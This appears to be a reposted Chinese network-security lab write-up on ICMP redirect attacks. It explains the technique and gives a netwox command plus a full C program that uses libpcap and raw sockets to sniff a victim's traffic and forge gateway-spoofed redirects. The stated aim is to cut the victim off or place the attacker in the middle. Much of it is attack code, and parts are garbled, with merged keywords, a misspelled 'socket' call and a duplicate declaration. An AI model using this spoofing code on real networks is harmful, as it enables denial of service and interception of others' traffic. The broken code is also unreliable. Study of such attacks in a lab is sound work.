实验二:ICMP重定向攻击

摘要:
由于缺乏必要的合法性检查,如果黑客希望被攻击主机修改其路由表,黑客将向被攻击主机发送ICMP重定向信息,并要求主机根据黑客的要求修改路由表。

-:实验原理

ICMP重定向信息是路由器向主机提供实时的路由信息,当一个主机收到ICMP重定向信息时,它就会根据这个信息来更新自己的路由表。由于缺乏必要的合法性检查,如果一个黑客想要被攻击的主机修改它的路由表,黑客就会发送ICMP重定向信息给被攻击的主机,让该主机按照黑客的要求来修改路由表。

在VMware虚拟环境中(Virtual Box不同),.2是充当网关的默认地址(通过route命令可以查看当前的网关和路由信息);所以攻击者可以冒充.2发出重定向包,通知受害者修改自己的网关为攻击者指定的gw地址;如果伪造的gw是自身,可以实现中间人攻击或者DOS攻击(没有启动IP转发功能);如果是随意IP(不能到达或不负责转发),则可以导致DOS攻击。

二:实验步骤:

  1. 使用netwox体会实验效果,使用netwox 86发送ICMP重定向包,

Netwox 86 –gw 192.168.137.220 –src-ip 192.168.137.2

其中-gw指定新的网关地址;--src-ip是当前网关地址;也即攻击者冒充当前网关.2通知受害者修改自己的网关IP。

启动wireshark,观察netwox发出的数据包:

1)通过wireshark抓包查看所发出的数据包的源IP是.2而不是攻击者真实的IP;

2)通过抓包,查看攻击数据包的结构

实验二:ICMP重定向攻击第1张

请注意,ICMP重定向报文除了ICMP包中的通用头部之外,还包括原始IP头部信息和数据报文的前8个字节。也即,在构造ICMP重定向包中,除了头部之外,还需要额外的28字节(在IP头部没有可选字段的情况下)

3)另外,注意观察,netwox发出的ICMP重定向包的目的IP是受害者正通信的IP,也即,netwox先抓到受害者的数据包,根据捕获包的IP地址,再构造攻击包。

  1. 在充分了解实验原理的基础上,自己使用raw socket,写出来一个icmp redirect包,达到使受害者不能正常上网的目的。

1)关于raw socket语法,可以使用man socket;man raw;man packet等查看细节,可以运行参考代码,并结合wireshark抓包查看代码生成的数据包。

2)原始套接字是一个特殊的套接字类型,但它的创建方式跟TCP/UDP创建方法几乎是一摸一样,例如,通过

int sockfd;
sockfd = socktet(AF_INET,SOCK_RAW,IPPROTO_ICMP);

原型:intsocket(intdomain, inttype,intprotocol)

功能描述:初始化创建socket对象,通常是第一个调用的socket函数。成功时,返回非负数的socket描述符;失败是返回-1。socket描述符是一个指向内部数据结构的指针,它指向描述符表入口。调用socket()函数时,socket执行体将建立一个socket,实际上"建立一个socket"意味着为一个socket数据结构分配存储空间。socket执行体为你管理描述符表。

参数解释:

domain--指明使用的协议族。常用的协议族有,AF_INET、AF_INET6、AF_LOCAL(或称AF_UNIX,Unix域socket)、AF_ROUTE等等。协议族决定了socket的地址类型,在通信中必须采用对应的地址,如AF_INET决定了要用ipv4地址(32位的)与端口号(16位的)的组合、AF_UNIX决定了要用一个绝对路径名作为地址。

type--指明socket类型,有3种:

SOCK_STREAM --TCP类型,保证数据顺序及可靠性;

SOCK_DGRAM -- UDP类型,不保证数据接收的顺序,非可靠连接;

SOCK_RAW --原始类型,允许对底层协议如IP或ICMP进行直接访问,不太常用。protocol--通常赋值"0",由系统自动选择。

#include <pcap.h>#include <time.h>#include <stdlib.h>#include <stdio.h>#include <netinet/in.h>#include<sys/socket.h>#include<unistd.h>


#define MAX 1024
#define SIZE_ETHERNET 14

const unsigned char *Vic_IP = "10.211.55.4";//攻击对象的ip
const unsigned char *Ori_Gw_IP = "10.211.55.1";//源网关ip
const unsigned char *Redic_IP = "10.211.55.3";//攻击者ipo
int flag = 0;

/*IP header */
structip_header  
{  
#ifdef WORDS_BIGENDIAN  
  u_int8_t ip_version:4;  
  u_int8_t ip_header_length:4;  
#else  u_int8_t ip_header_length:4;  
  u_int8_t ip_version:4;  
#endif  u_int8_t ip_tos;  
  u_int16_t ip_length;  
  u_int16_t ip_id;  
  u_int16_t ip_off;  
  u_int8_t ip_ttl;  
  u_int8_t ip_protocol;  
  u_int16_t ip_checksum;  
  structin_addr ip_source_address;  
  structin_addr ip_destination_address;  
};  

//icmp 重定向报文头
structicmp_header  
{  
  u_int8_t icmp_type;  
  u_int8_t icmp_code;  
  u_int16_t icmp_checksum;  
  structin_addr icmp_gateway_addr;

  //u_int16_t icmp_identifier;  
  //u_int16_t icmp_sequence;  
};  


/*计算校验和*/u_int16_t checksum(u_int8_t *buf,intlen)  
{  
    u_int32_t sum=0;  
    u_int16_t *cbuf;  
  
    cbuf=(u_int16_t *)buf;  
  
    while(len>1)
    {  
        sum+=*cbuf++;  
        len-=2;  
    }  
  
    if(len)  
        sum+=*(u_int8_t *)cbuf;  
  
        sum=(sum>>16)+(sum & 0xffff);  
        sum+=(sum>>16);  
  
        return ~sum;  
}  


void ping_redirect(int sockfd,const unsigned char *data,intdatalen)
{ 
    char buf[MAX],*p;
    struct ip_header *ip;
    struct icmp_header *icmp;
    intlen,i;
    structsockaddr_in dest; 
    structpacket{
        structiphdr ip;
        structicmphdr icmp;
        char datas[28];
    }packet;



    //手动填充ip头
    packet.ip.version = 4;
    packet.ip.ihl = 5;
    packet.ip.tos = 0;//服务类型
    packet.ip.tot_len = htons(56);
    packet.ip.id =getpid();
    packet.ip.frag_off = 0;
    packet.ip.ttl = 255;
    packet.ip.protocol =IPPROTO_ICMP;
    packet.ip.check = 0;
    packet.ip.saddr = inet_addr(Ori_Gw_IP);//要伪造网关发送ip报文
    packet.ip.daddr = inet_addr(Vic_IP);//将伪造重定向包发给受害者
    
    

    //手动填充icmp头
    packet.icmp.type =ICMP_REDIRECT;
    packet.icmp.code =ICMP_REDIR_HOST;
    packet.icmp.checksum = 0;
    packet.icmp.un.gateway =inet_addr(Redic_IP);
    struct sockaddr_in dest ={
        .sin_family =AF_INET,
        .sin_addr ={
            .s_addr =inet_addr(Vic_IP)
        }
    };
    //从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
    //可以复制任何类型,而strcpy只能复制字符串
    memcpy(packet.datas,(data + SIZE_ETHERNET),28);//包里数据
    packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
    packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28);
    //用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
    //(发送端套接字描述符,待发送数据的缓冲区,待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,flag标志位,一般为0,数据发送的目的地址,地址长度)
    sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest));
    //printf("send
");
}



//pcap_loop()不知道如何处理返回值,所以返回值为空,第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包(一个包包含许多属性,它不止一个字符串,而是一个结构体的集合,如一个TCP/IP包包含以太网头部,一个IP头部还有TCP头部,还有此包的有效载荷)这个u_char就是这些结构体的串联版本。pcap嗅探包时正是用之前定义的这些结构体
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char *packet)
{
    intsockfd,res;
    int one = 1;
    int *ptr_one = &one;
    //printf("here!
");
    //可以接收协议类型为ICMP的发往本机的IP数据包(通信的域,iPv4,套接字通信的类型,原始套接字,套接字类型,接收ICMP-》IP)
    //sockfd是socket描述符,为了以后将socket与本机端口相连
    if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
    {
        printf("create sockfd error
");
        exit(-1);
    }
    //包装自己的头部
    //发送数据时,不执行系统缓冲区到socket缓冲区的拷贝,以提高系统性能,应为
    /**
     设置sockfd套接字关联的选 项
     sockfd:指向一个打开的套接口描述字
     IPPROTO_IP:指定选项代码的类型为IPV4套接口
     IP_HDRINCL:详细代码名称(需要访问的选项名字)
     ptr_one:一个指向变量的指针类型,指向选项要设置的新值的缓冲区
     sizeof(one):指针大小
    */res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one));
    if(res < 0)
    {
        printf("error--
");
        exit(-3);
    }
    ping_redirect(sockfd,packet,0);

}


intmain()
{
    char errBuf[PCAP_ERRBUF_SIZE], *devStr;

    /*get a device */devStr = pcap_lookupdev(errBuf);//返回一个合适网络接口的字符串指针,如果出错,则返回errBuf出错字符串,长度为PACP_ERRBUF_SIZE长度

    if(devStr)
    {
        printf("success: device: %s
", devStr);
    }
    else{
        printf("error: %s
", errBuf);
        exit(1);
    }

    /*open a device, wait until a packet arrives */
    //打开设备进行嗅探,返回一个pcap_t类型的指针,后面操作都要用到这个指针
    pcap_t * device = pcap_open_live(devStr, 65535, 1, 0, errBuf);     //获得数据包捕获描述字函数(设备名称,参与定义捕获数据的最大字节数,是否置于混杂模式,设置超时时间0表示没有超时等待,errBuf是出错返回NULL时用于传递错误信息)

    structbpf_program filter;
    char filterstr[50]={0};
    sprintf(filterstr,"src host %s",Vic_IP);        //将vic_ip按照%s的格式写入filterstr缓冲区
    //过滤通信,哪些包是用户可以拿到的
    //表达式被编译,编译完就可使用了
    pcap_compile(device,&filter,filterstr,1,0);  //函数返回-1为失败,返回其他值为成功
    //device:会话句柄
    //&filterstr:被编译的过滤器版本的地址的引用
    //filterstr:表达式本身,存储在规定的字符串格式里
    //1:表达式是否被优化的整形量:0:没有,1:有
    //0:指定应用此过滤器的网络掩码
    //设置过滤器,使用这个过滤器
    pcap_setfilter(device,&filter);
    //device:会话句柄
    //&filterstr:被编译的表达式版本的引用
    /*wait loop forever */
    int id = 0;
    pcap_loop(device, -1, getPacket, NULL);
    //device是之前返回的pacp_t类型的指针,-1代表循环抓包直到出错结束,>0表示循环x次,getPacket是回调函数,最后一个参数一般之置为null
    
    
    return 0;
}

免责声明:文章转载自《实验二:ICMP重定向攻击》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Mac下Boost环境搭建用HTML,CSS和JavaScript创建iPhone/iPad应用程序下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

微博第三方登陆请求授权出现错误码:21322(重定向地址不匹配)的解决方法

https://hostcoz.com/151.html 主题自带了微博登陆接口,很简单的去新浪微博开放平台创建了网页应用,然后把APP ID和 AppSecret填好后,以为大功告成后,轻车熟路地点击使用微博登陆,映入我眼前的是: 用微博帐号登录出错了!对第三方应用进行授权时出现错误,请您联系第三方应用的开发者:XXX 或者稍后再试。 错误码:213...

Socket程序从windows移植到linux下需要注意的

)头文件 windows下winsock.h或winsock2.hlinux下netinet/in.h(大部分都在这儿),unistd.h(close函数在这儿),sys/socket.h(在in.h里已经包含了,可以省了) 2)初始化windows下需要用WSAStartup启动Ws2_32.lib,并且要用#pragma comment(lib,"Ws...

[转]零拷贝的实现原理

"先从简单开始,实现下这个场景:从一个文件中读出数据并将数据传到另一台服务器上?" "为啥写这个?" "你先写" "行..." 1分钟后 "我写了伪代码" File.read(file, buf, len); Socket.send(socket, buf, len); "这里涉及到了几次数据拷贝?" "2次?磁盘拷贝到内存,内存拷贝到Socke...

shell脚本入门基础-1

  前言本文主要是shell脚本的一些基本语法,小编也是shell菜鸟,不当之处欢迎指正。 一.变量 1.环境变量 #!bin/bash #环境变量 echo "User Info :" echo "user : $USER" echo "UID : $EUID" echo "home : $HOME" echo ''HOSTNAME'' 2.用户...

C#实现异步阻塞TCP(SocketAsyncEventArgs,SendAsync,ReceiveAsync,AcceptAsync,ConnectAsync)

1.类 (1)socket IO操作内存管理类 BufferManager // This class creates a single large buffer which can be divided up // and assigned to SocketAsyncEventArgs objects for use with ea...

linux系统socket通信编程1

Linux下的Socket编程大体上包括Tcp Socket、Udp Socket即Raw Socket这三种,其中TCP和UDP方式的Socket编程用于编写应用层的socket程序,是我们用得比较多的,而Raw Socket则用得相对较少,不在本文介绍范围之列。 TCP Socket 基于TCP协议的客户端/服务器程序的一般流程一般如下: 它基本上可...